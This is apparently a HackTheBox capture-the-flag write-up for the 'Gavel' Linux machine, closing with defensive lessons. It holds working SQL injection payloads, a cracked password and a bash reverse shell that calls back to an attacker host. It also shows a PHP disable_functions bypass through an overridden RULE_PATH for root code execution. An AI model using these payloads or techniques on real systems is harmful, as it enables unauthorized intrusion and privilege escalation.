HTB: Gavel Writeup
Gavel - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Gavel |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | 1 December 2025 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Gavel is a medium-difficulty Linux machine that showcases the exploitation of misused SQL PDO statements to achieve SQL injection and extract sensitive data from an internal database. The vulnerability is leveraged to obtain administrator credentials, which grant access to an admin panel where PHP code can be injected into bidding rules. This leads to remote code execution as the www-data user. Lateral movement is achieved through password reuse, and privilege escalation is accomplished by abusing a root-owned daemon that processes user-supplied YAML files with a sandboxed PHP environment, where the PHP configuration can be overridden to enable dangerous functions.
TL;DR: Exposed .git → Source code review → PDO SQL injection → Extract admin credentials → PHP code injection in bidding rules → RCE as www-data → Lateral movement via password reuse → Override PHP sandbox configuration → Root code execution.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.129.42.228Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1380/tcp open http Apache httpd 2.4.52Two services are exposed: SSH on port 22 and HTTP on port 80. The HTTP service redirects to http://gavel.htb/, indicating a virtual host.
Service Enumeration
Add the hostname to /etc/hosts:
echo "10.129.42.228 gavel.htb" | sudo tee -a /etc/hostsVisiting http://gavel.htb reveals an auction web application with items available for bidding. The application allows user registration and login.
Directory Enumeration
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://gavel.htb/FUZZKey Finding: A .git directory is exposed, indicating the application source code is version-controlled and publicly accessible.
Vulnerability Assessment
- Exposed
.gitdirectory — Source code can be dumped using git-dumper - PDO SQL injection via emulated prepares — User input directly interpolated into SQL queries with backtick-quoted identifiers
- PHP code injection in bidding rules — Rules are evaluated as PHP expressions using
runkit_function_add() - Unvalidated PHP sandbox configuration — The
RULE_PATHenvironment variable allows overriding the PHP configuration file
Initial Foothold
Step 1: Extract Source Code
python3 /opt/git-dumper/git_dumper.py http://gavel.htb/.git/ gitls ./gitThe dumped source reveals the application structure, including inventory.php, bidding.php, admin.php, and includes/bid_handler.php.
Step 2: Identify PDO SQL Injection
Examining inventory.php, we find vulnerable code:
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");$stmt->execute([$userId]);The $col variable is directly interpolated into the query. When PDO’s emulated prepares mode is enabled (default), we can exploit a null-byte injection to bypass the lexer. By using a backtick-quoted identifier with a ? followed by %00, the PDO lexer falls back to interpreting ? as a positional bind token, allowing secondary SQL injection.
Step 3: Register and Login
Create a test account to access the application and test the injection point:
Username: testuserPassword: TestPassword123Step 4: Trigger SQL Injection via Inventory Sorting
Bid on an item and wait for it to be added to inventory. Then intercept the sorting request in Burp Suite. Modify the user_id POST parameter with the SQL injection payload:
user_id=item_name`%20FROM%20(SELECT%20table_name%20AS%20`%27item_name`%20from%20information_schema.tables)y;--&sort=\?--%00This returns a list of database tables, revealing a users table.
Step 5: Extract Admin Credentials
Use a similar payload to extract usernames and password hashes:
user_id=item_name`%20FROM%20(SELECT%20CONCAT_WS(0x3a,%20id,%20username,%20password)%20AS%20`%27item_name`%20from%20users)y;--&sort=\?--%00Output:
1:admin:$2y$10$...2:auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfSStep 6: Crack Password Hash
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txtResult:
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1The auctioneer password is midnight1.
Step 7: Login as Auctioneer
Log in to http://gavel.htb with credentials:
Username: auctioneerPassword: midnight1Access is granted to the admin panel.
Step 8: PHP Code Injection via Bidding Rules
Examine includes/bid_handler.php to understand how rules are processed:
$rule = $auction['rule'];runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);$allowed = ruleCheck($current_bid, $previous_bid, $bidder);Rules are arbitrary PHP code executed via runkit_function_add(). By editing a bidding rule in the admin panel, we can inject malicious PHP code.
Step 9: Inject Reverse Shell
In the admin panel, edit a bidding rule and replace it with:
system("bash -c 'bash -i >& /dev/tcp/10.10.14.102/9090 0>&1'"); return true;Start a listener on the attacker machine:
nc -lvnp 9090Step 10: Trigger RCE
Navigate to the Bidding page and place a bid on the item whose rule was modified. The malicious rule is evaluated, executing the reverse shell:
listening on [any] 9090 ...connect to [10.10.14.102] from (UNKNOWN) [10.129.42.228] 52232bash: cannot set terminal process group (1110): Inappropriate ioctl for devicebash: no job control in this shellwww-data@gavel:/var/www/html/gavel/includes$Step 11: Stabilize Shell
python3 -c 'import pty;pty.spawn("/bin/bash")'export TERM=xterm# Press Ctrl+Zstty raw -echofgPrivilege Escalation
Step 1: Identify Lateral Movement Opportunity
Check system users:
cat /etc/passwd | grep -E "bash|sh"Discover the auctioneer user. Attempt password reuse:
su auctioneer# Password: midnight1Successfully switch to the auctioneer user.
Step 2: Enumerate Group Memberships
id# uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)The auctioneer user is a member of the gavel-seller group.
Step 3: Find Group-Owned Resources
find / -group gavel-seller 2>/dev/null# /usr/local/bin/gavel-utilDiscover:
/usr/local/bin/gavel-util— A binary owned by thegavel-sellergroup/run/gaveld.sock— A Unix domain socket
Step 4: Analyze gavel-util Binary
file /usr/local/bin/gavel-util# ELF 64-bit LSB pie executable, x86-64
/usr/local/bin/gavel-util# Usage: /usr/local/bin/gavel-util <cmd> [options]# Commands:# submit <file> Submit new items (YAML format)# stats Show Auction stats# invoice Request invoiceThe binary communicates with a daemon (gaveld) running as root, which processes YAML files.
Step 5: Examine gaveld Daemon
ps aux | grep gavel# root 1048 0.0 0.0 19128 3900 ? Ss /opt/gavel/gaveld
ls -la /opt/gavel/# -rwxr-xr-- gaveld (root-owned)# drwxr-x--- submission# sample.yaml# .config/php/php.iniThe daemon runs as root and evaluates PHP rules using a sandboxed PHP environment.
Step 6: Analyze PHP Sandbox Configuration
cat /opt/gavel/.config/php/php.iniOutput:
engine=Ondisplay_errors=Ondisable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_clientopen_basedir=/opt/gavelDangerous functions are disabled in the sandbox.
Step 7: Identify PHP Configuration Override Vector
By analyzing the binary with Ghidra, the php_safe_run function uses an environment variable RULE_PATH to specify the PHP configuration file:
// Pseudocode from binary analysissetenv("RULE_PATH", user_controlled_path);// php -c $RULE_PATH ...We can override the RULE_PATH to point to our own modified php.ini.
Step 8: Create Custom PHP Configuration
cd /home/auctioneercp /opt/gavel/.config/php/php.ini ./php.ini
# Remove dangerous function restrictionssed -i 's/disable_functions=.*/disable_functions=/' php.iniAlternatively, directly edit php.ini:
cat > php.ini << 'EOF'engine=Ondisplay_errors=Ondisplay_startup_errors=Onlog_errors=Offerror_reporting=E_ALLopen_basedir=/opt/gavelmemory_limit=32Mmax_execution_time=3max_input_time=10disable_functions=scan_dir=allow_url_fopen=Offallow_url_include=OffEOFStep 9: Create Malicious YAML Submission
cat > item.yaml << 'EOF'---name: Exploitdescription: Exploitingimage: test.pngprice: 1rule_msg: "Exploiting"rule: | system('cat /root/root.txt > /home/auctioneer/root.txt'); return true;EOFStep 10: Submit with Environment Override
RULE_PATH=/home/auctioneer/php.ini /usr/local/bin/gavel-util submit item.yaml# Item submitted for review in next auctionThe gaveld daemon processes the submission, evaluates the PHP rule using our custom php.ini (with no function restrictions), and executes the system command as root.
Step 11: Retrieve Root Flag
ls -la /home/auctioneer/# root.txt appears after gaveld processes the submission
cat /home/auctioneer/root.txtAttack Chain Summary
Exposed .git directory ↓ Dump source code ↓ Identify PDO SQL injection (emulated prepares + null-byte bypass) ↓ Extract admin credentials from users table ↓ Crack password hash (hashcat) ↓ Login as auctioneer → Access admin panel ↓ Inject PHP code into bidding rules (runkit_function_add) ↓ Place bid → Trigger RCE as www-data ↓ Lateral movement via password reuse (su auctioneer) ↓ Discover gavel-util binary (gavel-seller group) ↓ Analyze gaveld daemon (root-owned, processes YAML) ↓ Override RULE_PATH environment variable ↓ Create custom php.ini with disabled_functions= ↓ Submit malicious YAML with system() call ↓ Gaveld evaluates rule with custom php.ini ↓ Command executes as root → Root flag obtainedTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
ffuf | Directory and virtual host enumeration |
git-dumper | Extract source code from exposed .git directory |
Burp Suite | Intercept and modify HTTP requests for SQL injection testing |
hashcat | Crack bcrypt password hashes |
Ghidra | Decompile and analyze ELF binaries |
netcat | Reverse shell listener |
Key Learnings
Techniques Practiced
- PDO emulated prepares exploitation via null-byte injection in backtick-quoted identifiers
- SQL injection enumeration and data extraction from information_schema
- PHP code injection via
runkit_function_add()dynamic function creation - Binary analysis and reverse engineering with Ghidra
- Environment variable-based configuration path traversal
- PHP.ini disable_functions bypass through custom configuration files
- Privilege escalation through process automation and sandboxed environment manipulation
Lessons Learned
-
Never expose
.gitdirectories — Version control metadata leaks entire source code and development history, enabling informed exploitation. -
Avoid interpolating user input into prepared statements — Even with parameterized queries, PDO’s emulated prepares mode is vulnerable to null-byte injection when identifiers are user-controlled.
-
Validate and sanitize all user inputs thoroughly — Configuration paths, rule expressions, and YAML content should never be user-supplied without strict validation.
-
Sandboxing requires defense-in-depth — Restricting dangerous functions in php.ini is insufficient if the configuration file itself can be overridden through environment variables.
-
Apply principle of least privilege — The gaveld daemon should run as an unprivileged user, not root, and use mandatory access control (AppArmor, SELinux) to restrict actions.
-
Monitor and restrict environment variable inheritance — Critical processes should explicitly clear or whitelist environment variables to prevent exploitation vectors.
-
Implement strict password policies — Password reuse across services (web app → system) enabled lateral movement; enforce unique, strong passwords per service.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>